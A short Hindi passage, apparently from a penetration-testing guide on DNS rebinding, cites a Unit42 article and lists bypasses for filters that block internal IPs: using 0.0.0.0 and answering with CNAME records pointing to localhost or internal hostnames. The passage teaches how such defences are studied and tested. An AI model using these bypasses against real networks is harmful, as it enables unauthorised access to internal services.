अधिक जानकारी के लिए आप [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) देख सकते हैं।
|
|
|
|
### अन्य सामान्य Bypasses
|
|
|
|
* अगर **आंतरिक आईपी की अनुमति नहीं है**, तो वे **0.0.0.0 को मना करना भूल सकते हैं** (Linux और Mac पर काम करता है)
|
|
* अगर **आंतरिक आईपी की अनुमति नहीं है**, तो एक **CNAME का उत्तर दें** **localhost** के लिए (Linux और Mac पर काम करता है)
|
|
* अगर **आंतरिक आईपी की अनुमति नहीं है** DNS उत्तरों के रूप में, आप **CNAMEs का उत्तर दे सकते हैं** आंतरिक सेवाओं के लिए जैसे कि www.corporate.internal.
|
|
|
|
###
|